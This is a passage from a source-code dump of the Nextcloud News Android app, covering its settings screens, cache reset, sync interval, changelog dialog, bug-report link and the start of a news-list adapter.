\"pref_sync_settings\";\n    public static final String SYNC_INTERVAL_IN_MINUTES_STRING_DEPRECATED = \"SYNC_INTERVAL_IN_MINUTES_STRING\";\n\n    public static final String SP_APP_THEME = \"sp_app_theme\";\n    public static final String CB_OLED_MODE = \"cb_oled_mode\";\n    public static final String CB_DETAILED_VIEW_ZOOM = \"cb_detailed_view_zoom\";\n\n    public static final String CB_EXTERNAL_PLAYER = \"cb_external_player\";\n\n    public static final String SP_FEED_LIST_LAYOUT = \"sp_feed_list_layout\"; // used for shared prefs\n    public static final String RI_FEED_LIST_LAYOUT = \"ai_feed_list_layout\"; // used for result intents\n    public static final String SP_FONT_SIZE = \"sp_font_size\";\n\n    public static final String RI_CACHE_CLEARED = \"CACHE_CLEARED\"; // used for result intents\n    public static final String SP_MAX_CACHE_SIZE = \"sp_max_cache_size\";\n    public static final String SP_SORT_ORDER = \"sp_sort_order\";\n    public static final String SP_DISPLAY_BROWSER = \"sp_display_browser\";\n    public static final String SP_SEARCH_IN = \"sp_search_in\";\n    public static final String SP_SWIPE_RIGHT_ACTION = \"sp_swipe_right_action\";\n    public static final String SP_SWIPE_LEFT_ACTION = \"sp_swipe_left_action\";\n    public static final String SP_SWIPE_RIGHT_ACTION_DEFAULT = \"1\";\n    public static final String SP_SWIPE_LEFT_ACTION_DEFAULT = \"2\";\n\n    public static final String CB_VERSION = \"cb_version\";\n    public static final String CB_REPORT_ISSUE = \"cb_reportIssue\";\n\n    protected @Inject SharedPreferences mPrefs;\n\n    public Intent resultIntent = new Intent();\n\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        ((NewsReaderApplication) getApplication()).getAppComponent().injectActivity(this);\n\n        ThemeChooser.chooseTheme(this);\n        super.onCreate(savedInstanceState);\n        ThemeChooser.afterOnCreate(this);\n\n        setContentView(R.layout.activity_settings);\n\n        setupActionBar();\n\n        // some settings might add a few flags to the result Intent at runtime\n        // (e.g. clearing cache / switching list layout / theme / ...)\n        setResult(RESULT_OK, resultIntent);\n    }\n\n    @Override\n    protected void onPostCreate(Bundle savedInstanceState) {\n        super.onPostCreate(savedInstanceState);\n\n        getSupportFragmentManager()\n                .beginTransaction()\n                .replace(R.id.container, new SettingsFragment())\n                .commit();\n    }\n\n    private void setupActionBar() {\n        Toolbar toolbar = findViewById(R.id.toolbar);\n        setSupportActionBar(toolbar);\n        getSupportActionBar().setDisplayShowHomeEnabled(true);\n        getSupportActionBar().setDisplayHomeAsUpEnabled(true);\n        getSupportActionBar().setTitle(R.string.title_activity_settings);\n    }\n\n    @Override\n    public boolean onOptionsItemSelected(MenuItem item) {\n        if (item.getItemId() == android.R.id.home) {\n            finish();\n            return true;\n        }\n        return super.onOptionsItemSelected(item);\n    }\n\n    @Override\n    protected void onStart() {\n        super.onStart();\n\n        // Fix GHSL-2021-1033\n        String feedListLayout = mPrefs.getString(SettingsActivity.SP_FEED_LIST_LAYOUT, \"0\");\n        resultIntent.putExtra(SettingsActivity.RI_FEED_LIST_LAYOUT, feedListLayout);\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/SettingsFragment.java",
    "content": "package de.luhmer.owncloudnewsreader;\n\nimport static de.luhmer.owncloudnewsreader.Constants.USER_INFO_STRING;\nimport static de.luhmer.owncloudnewsreader.SettingsActivity.CB_MARK_AS_READ_WHILE_SCROLLING_STRING;\nimport static de.luhmer.owncloudnewsreader.SettingsActivity.CB_SYNC_WHEN_SCROLLED_TO_BOTTOM_STRING;\nimport static de.luhmer.owncloudnewsreader.SettingsActivity.CB_NAVIGATE_WITH_VOLUME_BUTTONS_STRING;\nimport static de.luhmer.owncloudnewsreader.SettingsActivity.CB_OLED_MODE;\nimport static de.luhmer.owncloudnewsreader.SettingsActivity.CB_PREF_BACK_OPENS_DRAWER;\nimport static de.luhmer.owncloudnewsreader.SettingsActivity.CB_REPORT_ISSUE;\nimport static de.luhmer.owncloudnewsreader.SettingsActivity.CB_SHOWONLYUNREAD_STRING;\nimport static de.luhmer.owncloudnewsreader.SettingsActivity.CB_SHOW_FAST_ACTIONS;\nimport static de.luhmer.owncloudnewsreader.SettingsActivity.CB_SKIP_DETAILVIEW_AND_OPEN_BROWSER_DIRECTLY_STRING;\nimport static de.luhmer.owncloudnewsreader.SettingsActivity.CB_SYNCONSTARTUP_STRING;\nimport static de.luhmer.owncloudnewsreader.SettingsActivity.CB_VERSION;\nimport static de.luhmer.owncloudnewsreader.SettingsActivity.CB_DETAILED_VIEW_ZOOM;\nimport static de.luhmer.owncloudnewsreader.SettingsActivity.EDT_CLEAR_CACHE;\nimport static de.luhmer.owncloudnewsreader.SettingsActivity.EDT_OWNCLOUDROOTPATH_STRING;\nimport static de.luhmer.owncloudnewsreader.SettingsActivity.EDT_PASSWORD_STRING;\nimport static de.luhmer.owncloudnewsreader.SettingsActivity.EDT_USERNAME_STRING;\nimport static de.luhmer.owncloudnewsreader.SettingsActivity.LV_CACHE_IMAGES_OFFLINE_STRING;\nimport static de.luhmer.owncloudnewsreader.SettingsActivity.PREF_SYNC_SETTINGS;\nimport static de.luhmer.owncloudnewsreader.SettingsActivity.SP_APP_THEME;\nimport static de.luhmer.owncloudnewsreader.SettingsActivity.SP_DISPLAY_BROWSER;\nimport static de.luhmer.owncloudnewsreader.SettingsActivity.SP_FEED_LIST_LAYOUT;\nimport static de.luhmer.owncloudnewsreader.SettingsActivity.SP_FONT_SIZE;\nimport static de.luhmer.owncloudnewsreader.SettingsActivity.SP_MAX_CACHE_SIZE;\nimport static de.luhmer.owncloudnewsreader.SettingsActivity.SP_SEARCH_IN;\nimport static de.luhmer.owncloudnewsreader.SettingsActivity.SP_SORT_ORDER;\nimport static de.luhmer.owncloudnewsreader.SettingsActivity.SP_SWIPE_LEFT_ACTION;\nimport static de.luhmer.owncloudnewsreader.SettingsActivity.SP_SWIPE_RIGHT_ACTION;\nimport static de.luhmer.owncloudnewsreader.SettingsActivity.SYNC_INTERVAL_IN_MINUTES_STRING_DEPRECATED;\n\nimport android.accounts.Account;\nimport android.accounts.AccountManager;\nimport android.app.ProgressDialog;\nimport android.content.ContentResolver;\nimport android.content.Context;\nimport android.content.DialogInterface;\nimport android.content.Intent;\nimport android.content.SharedPreferences;\nimport android.content.pm.PackageInfo;\nimport android.content.pm.PackageManager;\nimport android.net.Uri;\nimport android.os.AsyncTask;\nimport android.os.Build;\nimport android.os.Bundle;\nimport android.widget.Toast;\n\nimport androidx.appcompat.app.AlertDialog;\nimport androidx.fragment.app.DialogFragment;\nimport androidx.preference.CheckBoxPreference;\nimport androidx.preference.DialogPreference;\nimport androidx.preference.ListPreference;\nimport androidx.preference.Preference;\nimport androidx.preference.PreferenceFragmentCompat;\nimport androidx.preference.TwoStatePreference;\n\nimport java.net.URLEncoder;\nimport java.nio.charset.StandardCharsets;\nimport java.util.Arrays;\nimport java.util.List;\nimport java.util.Map;\n\nimport javax.inject.Inject;\nimport javax.inject.Named;\n\nimport de.luhmer.owncloudnewsreader.authentication.AccountGeneral;\nimport de.luhmer.owncloudnewsreader.database.DatabaseConnectionOrm;\nimport de.luhmer.owncloudnewsreader.helper.ImageHandler;\nimport de.luhmer.owncloudnewsreader.helper.NewsFileUtils;\nimport de.luhmer.owncloudnewsreader.helper.PostDelayHandler;\n\npublic class SettingsFragment extends PreferenceFragmentCompat {\n\n    protected @Inject SharedPreferences mPrefs;\n    protected @Inject @Named(\"sharedPreferencesFileName\") String sharedPreferencesFileName;\n    private static String version = \"<loading>\";\n\n    @Override\n    public void onCreatePreferences(Bundle savedInstanceState, String rootKey) {\n        ((NewsReaderApplication) requireActivity().getApplication()).getAppComponent().injectFragment(this);\n\n        // Define the settings file to use by this settings fragment\n        getPreferenceManager().setSharedPreferencesName(sharedPreferencesFileName);\n\n        version = VersionInfoDialogFragment.getVersionString(getActivity());\n\n        migrateSyncIntervalValue(); // migrates pref SYNC_INTERVAL_IN_MINUTES_STRING to pref_sync_settings\n\n        addPreferencesFromResource(R.xml.pref_general);\n        bindGeneralPreferences(this);\n\n        addPreferencesFromResource(R.xml.pref_display);\n        bindDisplayPreferences(this);\n\n        addPreferencesFromResource(R.xml.pref_data_sync);\n        bindDataSyncPreferences(this);\n\n        addPreferencesFromResource(R.xml.pref_about);\n        bindAboutPreferences(this);\n\n        //addPreferencesFromResource(R.xml.pref_podcast);\n        //bindPodcastPreferences(this);\n\n\n        /*\n        // Fix settings page header (\"breadcrumb\") text color for dark mode\n        // Thank you Stackoverflow: https://stackoverflow.com/a/27078485\n        final View breadcrumb = findViewById(android.R.id.title);\n        if (breadcrumb == null) {\n            // Single pane layout\n            return;\n        }\n        try {\n            final Field titleColor = breadcrumb.getClass().getDeclaredField(\"mTextColor\");\n            titleColor.setAccessible(true);\n            titleColor.setInt(breadcrumb, ContextCompat.getColor(this, R.color.primaryTextColor));\n        } catch (final Exception e) {\n            Log.e(TAG, \"onBuildHeaders failed\", e);\n        }\n        */\n    }\n\n\n    /**\n     * A preference value change listener that updates the preference's summary\n     * to reflect its new value.\n     */\n    private static final Preference.OnPreferenceChangeListener sBindPreferenceSummaryToValueListener = (preference, value) -> {\n        String stringValue = value.toString();\n\n        if (preference instanceof ListPreference listPreference) {\n            // For list preferences, look up the correct display value in\n            // the preference's 'entries' list.\n            int index = listPreference.findIndexOfValue(stringValue);\n\n            // Set the summary to reflect the new value.\n            preference.setSummary(index >= 0 ? listPreference.getEntries()[index] : null);\n\n            // only enable black-bg setting if light or auto theme is selected\n            if(SP_APP_THEME.equals(preference.getKey())) {\n                // value \"1\" means Light theme\n                preference.getPreferenceManager().findPreference(CB_OLED_MODE).setEnabled(!value.equals(\"1\"));\n            }\n            else if(PREF_SYNC_SETTINGS.equals(preference.getKey())) {\n                // set the sync value in account\n                setAccountSyncInterval(preference.getContext(), Integer.parseInt(stringValue));\n            }\n\n        } else {\n            String key = preference.getKey();\n            // For all other preferences, set the summary to the value's\n            // simple string representation.\n            if(key.equals(EDT_PASSWORD_STRING))\n                preference.setSummary(null);\n            else\n                preference.setSummary(stringValue);\n        }\n        return true;\n    };\n\n    private static final Preference.OnPreferenceChangeListener sBindPreferenceBooleanToValueListener = (preference, newValue) -> {\n        if(preference instanceof CheckBoxPreference cbPreference) { //For legacy Android support\n            cbPreference.setChecked((Boolean) newValue);\n        } else {\n            TwoStatePreference twoStatePreference = ((TwoStatePreference) preference);\n            twoStatePreference.setChecked((Boolean) newValue);\n        }\n        return true;\n    };\n\n    /**\n     * Binds a preference's summary to its value. More specifically, when the\n     * preference's value is changed, its summary (line of text below the\n     * preference title) is updated to reflect the value. The summary is also\n     * immediately updated upon calling this method. The exact display format is\n     * dependent on the type of preference.\n     *\n     * @see #sBindPreferenceSummaryToValueListener\n     */\n    private void bindPreferenceSummaryToValue(Preference preference) {\n        // Set the listener to watch for value changes.\n        preference.setOnPreferenceChangeListener(sBindPreferenceSummaryToValueListener);\n\n        // Trigger the listener immediately with the preference's\n        // current value.\n        sBindPreferenceSummaryToValueListener.onPreferenceChange(\n                preference,\n                mPrefs.getString(preference.getKey(),\n                        \"\"));\n    }\n\n    private void bindPreferenceBooleanToValue(Preference preference) {\n        // Set the listener to watch for value changes.\n        preference.setOnPreferenceChangeListener(sBindPreferenceBooleanToValueListener);\n\n        // Trigger the listener immediately with the preference's\n        // current value.\n        sBindPreferenceBooleanToValueListener.onPreferenceChange(\n                preference,\n                mPrefs.getBoolean(preference.getKey(), false));\n    }\n\n\n    // TODO DO WE NEED THE CODE BELOW?!!\n    /*\n    @Nullable\n    @Override\n    public View onCreateView(String name, Context context, AttributeSet attrs) {\n        // Allow super to try and create a view first\n        final View result = super.onCreateView(name, context, attrs);\n        if (result != null) {\n            return result;\n        }\n\n        return null;\n    }\n    */\n\n\n    private void bindDisplayPreferences(PreferenceFragmentCompat prefFrag)\n    {\n        bindPreferenceSummaryToValue(prefFrag.findPreference(SP_APP_THEME));\n        bindPreferenceBooleanToValue(prefFrag.findPreference(CB_OLED_MODE));\n        bindPreferenceSummaryToValue(prefFrag.findPreference(SP_FEED_LIST_LAYOUT));\n        bindPreferenceSummaryToValue(prefFrag.findPreference(SP_FONT_SIZE));\n        bindPreferenceBooleanToValue(prefFrag.findPreference(CB_DETAILED_VIEW_ZOOM));\n        bindPreferenceSummaryToValue(prefFrag.findPreference(SP_DISPLAY_BROWSER));\n    }\n\n    private void bindGeneralPreferences(DialogPreference.TargetFragment prefFrag)\n    {\n        /*\n        bindPreferenceSummaryToValue(prefFrag.findPreference(EDT_USERNAME_STRING));\n        bindPreferenceSummaryToValue(prefFrag.findPreference(EDT_PASSWORD_STRING));\n        bindPreferenceSummaryToValue(prefFrag.findPreference(EDT_OWNCLOUDROOTPATH_STRING));\n         */\n        //bindPreferenceBooleanToValue(prefFrag.findPreference(CB_ALLOWALLSSLCERTIFICATES_STRING));\n        bindPreferenceBooleanToValue(prefFrag.findPreference(CB_SYNCONSTARTUP_STRING));\n        bindPreferenceBooleanToValue(prefFrag.findPreference(CB_SHOWONLYUNREAD_STRING));\n        bindPreferenceBooleanToValue(prefFrag.findPreference(CB_NAVIGATE_WITH_VOLUME_BUTTONS_STRING));\n        bindPreferenceBooleanToValue(prefFrag.findPreference(CB_MARK_AS_READ_WHILE_SCROLLING_STRING));\n        bindPreferenceBooleanToValue(prefFrag.findPreference(CB_SYNC_WHEN_SCROLLED_TO_BOTTOM_STRING));\n        bindPreferenceBooleanToValue(prefFrag.findPreference(CB_SHOW_FAST_ACTIONS));\n        bindPreferenceBooleanToValue(prefFrag.findPreference(CB_SKIP_DETAILVIEW_AND_OPEN_BROWSER_DIRECTLY_STRING));\n        bindPreferenceBooleanToValue(prefFrag.findPreference(CB_PREF_BACK_OPENS_DRAWER));\n        bindPreferenceSummaryToValue(prefFrag.findPreference(SP_SORT_ORDER));\n        bindPreferenceSummaryToValue(prefFrag.findPreference(SP_SEARCH_IN));\n        bindPreferenceSummaryToValue(prefFrag.findPreference(SP_SWIPE_RIGHT_ACTION));\n        bindPreferenceSummaryToValue(prefFrag.findPreference(SP_SWIPE_LEFT_ACTION));\n    }\n\n    /**\n     * migrates pref SYNC_INTERVAL_IN_MINUTES_STRING to pref_sync_settings\n     * temporary function, could be removed whenever is wished\n     */\n    private void migrateSyncIntervalValue() {\n        // For migration compatibility, in case preference SYNC_INTERVAL_IN_MINUTES_STRING is there\n        // we migrate its value in PREF_SYNC_SETTINGS\n        int minutes = mPrefs.getInt(SYNC_INTERVAL_IN_MINUTES_STRING_DEPRECATED, -1);\n        if (minutes != -1) { // we need to migrate\n            mPrefs.edit().putString(PREF_SYNC_SETTINGS, String.valueOf(minutes)).commit();\n            mPrefs.edit().remove(SYNC_INTERVAL_IN_MINUTES_STRING_DEPRECATED).commit();\n        }\n        // impact if the above code is removed:\n        //   the list will show the default sync interval value of 15min\n        //   whereas the user may have configured some other value\n        //   once the user selects a value, this new value is actually used; and no more impact is expected\n\n    }\n\n    private void bindDataSyncPreferences(final PreferenceFragmentCompat prefFrag)\n    {\n\n        // handle the sync interval list:\n        bindPreferenceSummaryToValue(prefFrag.findPreference(PREF_SYNC_SETTINGS));\n\n        // String[] authorities = { \"de.luhmer.owncloudnewsreader\" };\n        // Intent intentSyncSettings = new Intent(Settings.ACTION_SYNC_SETTINGS);\n        // intentSyncSettings.putExtra(Settings.EXTRA_AUTHORITIES, authorities);\n\n        // String[] authorities = { \"de.luhmer.owncloudnewsreader\" };\n        // Intent intentSyncSettings = new Intent(Settings.ACTION_SYNC_SETTINGS);\n        // intentSyncSettings.putExtra(Settings.EXTRA_AUTHORITIES, authorities);\n\n        //bindPreferenceSummaryToValue(prefFrag.findPreference(SP_MAX_ITEMS_SYNC));\n        Preference clearCachePref = prefFrag.findPreference(EDT_CLEAR_CACHE);\n        bindPreferenceSummaryToValue(prefFrag.findPreference(LV_CACHE_IMAGES_OFFLINE_STRING));\n        bindPreferenceSummaryToValue(prefFrag.findPreference(SP_MAX_CACHE_SIZE));\n\n\n        clearCachePref.setOnPreferenceClickListener(preference -> {\n            mPrefs.edit().remove(USER_INFO_STRING).apply();\n            checkForUnsycedChangesInDatabaseAndResetDatabase(prefFrag.getActivity());\n            return true;\n        });\n    }\n\n    private void bindAboutPreferences(final PreferenceFragmentCompat prefFrag) {\n        prefFrag.findPreference(CB_VERSION).setSummary(version);\n        Preference changelogPreference = prefFrag.findPreference(CB_VERSION);\n        changelogPreference.setOnPreferenceClickListener(preference -> {\n            DialogFragment dialog = new VersionInfoDialogFragment();\n            dialog.show(prefFrag.requireActivity().getSupportFragmentManager(), \"VersionChangelogDialogFragment\");\n            return true;\n        });\n\n        findPreference(CB_REPORT_ISSUE).setOnPreferenceClickListener(preference -> {\n            openBugReport();\n            return true;\n        });\n\n    }\n\n\n    private void bindPodcastPreferences(PreferenceFragmentCompat prefFrag)\n    {\n        //bindPreferenceBooleanToValue(prefFrag.findPreference(CB_ENABLE_PODCASTS_STRING));\n    }\n\n\n    public void checkForUnsycedChangesInDatabaseAndResetDatabase(final Context context) {\n        DatabaseConnectionOrm dbConn = new DatabaseConnectionOrm(context);\n        boolean resetDatabase = !dbConn.areThereAnyUnsavedChangesInDatabase();\n\n        if(resetDatabase) {\n            new ResetDatabaseAsyncTask(context).execute();\n        } else {\n            new AlertDialog.Builder(context)\n                    .setTitle(context.getString(R.string.warning))\n                    .setMessage(context.getString(R.string.reset_cache_unsaved_changes))\n                    .setPositiveButton(context.getString(android.R.string.ok), new DialogInterface.OnClickListener() {\n\n                        @Override\n                        public void onClick(DialogInterface dialog, int which) {\n                            PostDelayHandler pDelayHandler = new PostDelayHandler(context);\n                            pDelayHandler.stopRunningPostDelayHandler();\n\n                            new ResetDatabaseAsyncTask(context).execute();\n                        }\n                    })\n                    .setNegativeButton(context.getString(android.R.string.no), null)\n                    .create()\n                    .show();\n        }\n    }\n\n    private void openBugReport() {\n        String title = \"\";\n        String body = \"\";\n        StringBuilder debugInfo = new StringBuilder(\"Please describe your bug here...\\n\\n---\\n\");\n\n        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {\n            try {\n                PackageInfo pInfo = requireContext().getPackageManager().getPackageInfo(requireContext().getPackageName(), 0);\n                debugInfo.append(\"\\nApp Version: \").append(pInfo.versionName);\n                debugInfo.append(\"\\nApp Version Code: \").append(pInfo.versionCode);\n            } catch (PackageManager.NameNotFoundException e) {\n                e.printStackTrace();\n            }\n\n            debugInfo.append(\"\\n\\n---\\n\");\n\n            debugInfo.append(\"\\nSSO enabled: \").append(mPrefs.getBoolean(SettingsActivity.SW_USE_SINGLE_SIGN_ON, false));\n\n\n            debugInfo.append(\"\\n\\n---\\n\");\n            debugInfo.append(\"\\nOS Version: \").append(System.getProperty(\"os.version\")).append(\"(\").append(Build.VERSION.INCREMENTAL).append(\")\");\n            debugInfo.append(\"\\nOS API Level: \").append(Build.VERSION.SDK_INT);\n            debugInfo.append(\"\\nDevice: \").append(Build.DEVICE);\n            debugInfo.append(\"\\nModel (and Product): \").append(Build.MODEL).append(\" (\").append(Build.PRODUCT).append(\")\");\n\n            debugInfo.append(\"\\n\\n---\\n\\n\");\n\n            List<String> excludedSettings = Arrays.asList(EDT_USERNAME_STRING, EDT_PASSWORD_STRING, EDT_OWNCLOUDROOTPATH_STRING, Constants.LAST_UPDATE_NEW_ITEMS_COUNT_STRING, USER_INFO_STRING);\n            Map<String, ?> allEntries = mPrefs.getAll();\n            for (Map.Entry<String, ?> entry : allEntries.entrySet()) {\n                String key = entry.getKey();\n                if (!excludedSettings.contains(key)) {\n                    debugInfo.append(entry).append(\"\\n\");\n                }\n            }\n\n            body = URLEncoder.encode(debugInfo.toString(), StandardCharsets.UTF_8);\n        }\n        Intent browserIntent = new Intent(Intent.ACTION_VIEW, Uri.parse(\"https://github.com/nextcloud/news-android/issues/new?title=\" + title + \"&body=\" + body));\n        startActivity(browserIntent);\n    }\n\n\n    public static final long SECONDS_PER_MINUTE = 60L;\n\n    public static void setAccountSyncInterval(Context context, int minutes) {\n        AccountManager mAccountManager = AccountManager.get(context);\n        String accountType = AccountGeneral.getAccountType(context);\n        Account[] accounts = mAccountManager.getAccountsByType(accountType);\n        for (Account account : accounts) {\n            if (minutes != 0) {\n                long SYNC_INTERVAL = minutes * SECONDS_PER_MINUTE;\n                ContentResolver.setSyncAutomatically(account, accountType, true);\n\n                Bundle bundle = new Bundle();\n                ContentResolver.addPeriodicSync(\n                        account,\n                        accountType,\n                        bundle,\n                        SYNC_INTERVAL);\n\n            } else {\n                ContentResolver.setSyncAutomatically(account, accountType, false);\n            }\n        }\n    }\n\n    public static class ResetDatabaseAsyncTask extends AsyncTask<Void, Void, Void> {\n\n        private ProgressDialog pd;\n        private final Context context;\n\n        public ResetDatabaseAsyncTask(Context context) {\n            this.context = context;\n        }\n\n        @Override\n        protected void onPreExecute() {\n            pd = new ProgressDialog(context);\n            pd.setIndeterminate(true);\n            pd.setCancelable(false);\n            pd.setTitle(context.getString(R.string.dialog_clearing_cache));\n            pd.setMessage(context.getString(R.string.dialog_clearing_cache_please_wait));\n            pd.show();\n\n            super.onPreExecute();\n        }\n\n        @Override\n        protected Void doInBackground(Void... params) {\n            //Thread.sleep(1000);\n\n            DatabaseConnectionOrm dbConn = new DatabaseConnectionOrm(context);\n            dbConn.resetDatabase();\n            NewsFileUtils.clearWebArchiveCache(context);\n            NewsFileUtils.clearPodcastCache(context);\n            return null;\n        }\n\n        @Override\n        protected void onPostExecute(Void result) {\n            super.onPostExecute(result);\n\n            // needs to be executed on main thread\n            ImageHandler.clearCache(context);\n\n            pd.dismiss();\n            Toast.makeText(context, context.getString(R.string.cache_is_cleared), Toast.LENGTH_SHORT).show();\n\n            if(context instanceof SettingsActivity sa) {\n                sa.resultIntent.putExtra(SettingsActivity.RI_CACHE_CLEARED, true);\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/VersionInfoDialogFragment.java",
    "content": "/*\n* Android ownCloud News\n*\n* @author David Luhmer\n* @copyright 2013 David Luhmer david-dev@live.de\n*\n* This library is free software; you can redistribute it and/or\n* modify it under the terms of the GNU AFFERO GENERAL PUBLIC LICENSE\n* License as published by the Free Software Foundation; either\n* version 3 of the License, or any later version.\n*\n* This library is distributed in the hope that it will be useful,\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n* GNU AFFERO GENERAL PUBLIC LICENSE for more details.\n*\n* You should have received a copy of the GNU Affero General Public\n* License along with this library.  If not, see <http://www.gnu.org/licenses/>.\n*\n*/\n\npackage de.luhmer.owncloudnewsreader;\n\nimport android.app.Activity;\nimport android.app.Dialog;\nimport android.content.pm.PackageInfo;\nimport android.content.pm.PackageManager;\nimport android.os.Bundle;\nimport android.view.LayoutInflater;\nimport android.view.View;\nimport android.view.WindowManager.LayoutParams;\nimport android.widget.ProgressBar;\nimport android.widget.TextView;\n\nimport androidx.appcompat.app.AlertDialog;\nimport androidx.fragment.app.DialogFragment;\n\nimport java.io.IOException;\nimport java.util.Formatter;\n\nimport de.luhmer.owncloudnewsreader.async_tasks.DownloadChangelogTask;\nimport de.luhmer.owncloudnewsreader.view.ChangeLogFileListView;\n\n/**\n * Displays current app version and changelog.\n */\npublic class VersionInfoDialogFragment extends DialogFragment {\n\n\t@Override\n    public Dialog onCreateDialog(Bundle savedInstanceState) {\n        // load views\n        LayoutInflater inflater = getActivity().getLayoutInflater();\n        View view = inflater.inflate(R.layout.dialog_version_info, null);\n\n        ChangeLogFileListView clListView = view.findViewById(R.id.changelog_listview);\n        final ProgressBar progressBar = view.findViewById(R.id.changeLogLoadingProgressBar);\n        TextView versionTextView = view.findViewById(R.id.tv_androidAppVersion);\n\n        // build dialog\n        AlertDialog.Builder builder = new AlertDialog.Builder(getActivity())\n                .setView(view)\n                .setPositiveButton(getString(android.R.string.ok), (dialog, which) -> dismiss())\n                .setCancelable(true) // React to click outside of version info\n                .setTitle(\"Changelog\"); // changelog content is in english only anyways..\n\n        // set current version\n        versionTextView.setText(getVersionString(getActivity()));\n\n        // load changelog into view\n        loadChangeLog(clListView, progressBar);\n\n        return builder.create();\n    }\n\n\t/* (non-Javadoc)\n\t * @see android.support.v4.app.DialogFragment#onStart()\n\t */\n\t@Override\n\tpublic void onStart() {\n\t\t//Use the full screen for this dialog even in Landscape Mode.\n\t\tLayoutParams params = getDialog().getWindow().getAttributes();\n       \tparams.width = LayoutParams.MATCH_PARENT;\n        \n        getDialog().getWindow().setAttributes(params);\n        \n\t\tsuper.onStart();\n\t}\n\n    public static String getVersionString(Activity activity) {\n        String version = \"?\";\n\n        try {\n            PackageInfo pInfo = activity.getPackageManager().getPackageInfo(activity.getPackageName(), 0);\n            version = pInfo.versionName;\n        } catch (PackageManager.NameNotFoundException e){\n            e.printStackTrace();\n        }\n\n        Formatter formatter = new Formatter();\n        String versionString = activity.getString(R.string.current_version);\n        return formatter.format(versionString, version).toString();\n    }\n\n    /**\n     * Loads changelog into the given view and hides progress bar when done.\n     */\n    private void loadChangeLog(ChangeLogFileListView clListView, final ProgressBar progressBar) {\n        new DownloadChangelogTask(getActivity(), clListView, new DownloadChangelogTask.Listener() {\n            @Override\n            public void onSuccess() {\n                progressBar.setVisibility(View.GONE);\n            }\n\n            @Override\n            public void onError(IOException e) {\n                progressBar.setVisibility(View.GONE);\n                e.printStackTrace();\n            }\n        }).execute();\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/adapter/HasId.kt",
    "content": "package de.luhmer.owncloudnewsreader.adapter\n\ninterface HasId<T> {\n    val id: T\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/adapter/NewsListRecyclerAdapter.java",
    "content": "package de.luhmer.owncloudnewsreader.adapter;\n\nimport android.content.Context;\nimport android.content.SharedPreferences;\nimport android.os.AsyncTask;\nimport android.util.Log;\nimport android.view.LayoutInflater;\nimport android.view.View;\nimport android.view.ViewGroup;\n\nimport androidx.annotation.NonNull;\nimport androidx.fragment.app.FragmentActivity;\nimport androidx.recyclerview.widget.RecyclerView;\n\nimport com.bumptech.glide.Glide;\nimport com.bumptech.glide.RequestManager;\n\nimport org.greenrobot.eventbus.EventBus;\nimport org.greenrobot.eventbus.Subscribe;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport de.luhmer.owncloudnewsreader.LazyLoadingLinearLayoutManager;\nimport de.luhmer.owncloudnewsreader.NewsReaderListActivity;\nimport de.luhmer.owncloudnewsreader.SettingsActivity;\nimport de.luhmer.owncloudnewsreader.database.DatabaseConnectionOrm;\nimport de.luhmer.owncloudnewsreader.database.model.RssItem;\nimport de.luhmer.owncloudnewsreader.databinding.ProgressbarItemBinding;\nimport de.luhmer.owncloudnewsreader.databinding.SubscriptionDetailListItemCardViewBinding;\nimport de.luhmer.owncloudnewsreader.databinding.SubscriptionDetailListItemHeadlineBinding;\nimport de.luhmer.owncloudnewsreader.databinding.SubscriptionDetailListItemHeadlineThumbnailBinding;\nimport de.luhmer.owncloudnewsreader.databinding.SubscriptionDetailListItemTextBinding;\nimport de.luhmer.owncloudnewsreader.databinding.SubscriptionDetailListItemThumbnailBinding;\nimport de.luhmer.owncloudnewsreader.databinding.SubscriptionDetailListItemWebLayoutBinding;\nimport de.luhmer.owncloudnewsreader.events.podcast.PodcastCompletedEvent;\nimport de.luhmer.owncloudnewsreader.helper.AsyncTaskHelper;\nimport de.luhmer.owncloudnewsreader.helper.FavIconHandler;\nimport de.luhmer.owncloudnewsreader.helper.PostDelayHandler;\nimport de.luhmer.owncloudnewsreader.helper.StopWatch;\nimport de.luhmer.owncloudnewsreader.interfaces.IPlayPausePodcastClicked;\nimport de.luhmer.owncloudnewsreader.model.CurrentRssViewDataHolder;\n\npublic class NewsListRecyclerAdapter extends RecyclerView.Adapter<RecyclerView.ViewHolder> {\n    private static final String TAG = \"NewsListRecyclerAdapter\";\n\n    @SuppressWarnings(\"FieldCanBeLocal\")\n    private final int VIEW_ITEM = 1; // Item\n    private final int VIEW_PROG = 0; // Progress\n    private final FavIconHandler faviconHandler;\n    private final RequestManager glide;\n\n    private long idOfCurrentlyPlayedPodcast = -1;\n\n    private List<RssItem> lazyList;\n    private final DatabaseConnectionOrm dbConn;\n    private final PostDelayHandler pDelayHandler;\n    private final FragmentActivity activity;\n\n    private int cachedPages = 1;\n\n    private final IPlayPausePodcastClicked playPausePodcastClicked;\n\n    private boolean loading = false;\n    // The minimum amount of items to have below your current scroll position\n    // before loading more.\n    private final int visibleThreshold = 5;\n    private final SharedPreferences mPrefs;\n\n    private LazyLoadingLinearLayoutManager layoutManager = null;\n\n    public NewsListRecyclerAdapter(FragmentActivity activity, RecyclerView recyclerView, IPlayPausePodcastClicked playPausePodcastClicked, PostDelayHandler postDelayHandler, SharedPreferences prefs) {\n        this.activity = activity;\n        this.playPausePodcastClicked = playPausePodcastClicked;\n        this.mPrefs = prefs;\n\n        pDelayHandler = postDelayHandler;\n\n        dbConn = new DatabaseConnectionOrm(activity);\n        faviconHandler = new FavIconHandler(activity);\n        glide = Glide.with(activity);\n        setHasStableIds(true);\n\n        EventBus.getDefault().register(this);\n\n        if (recyclerView.getLayoutManager() instanceof LazyLoadingLinearLayoutManager lm) {\n            layoutManager = lm;\n\n            recyclerView\n                    .addOnScrollListener(new RecyclerView.OnScrollListener() {\n                        @Override\n                        public void onScrolled(@NonNull RecyclerView recyclerView,\n                                               int dx, int dy) {\n                            super.onScrolled(recyclerView, dx, dy);\n\n                            int adapterItemCount = layoutManager.getItemCount();\n                            int adapterTotalItemCount = 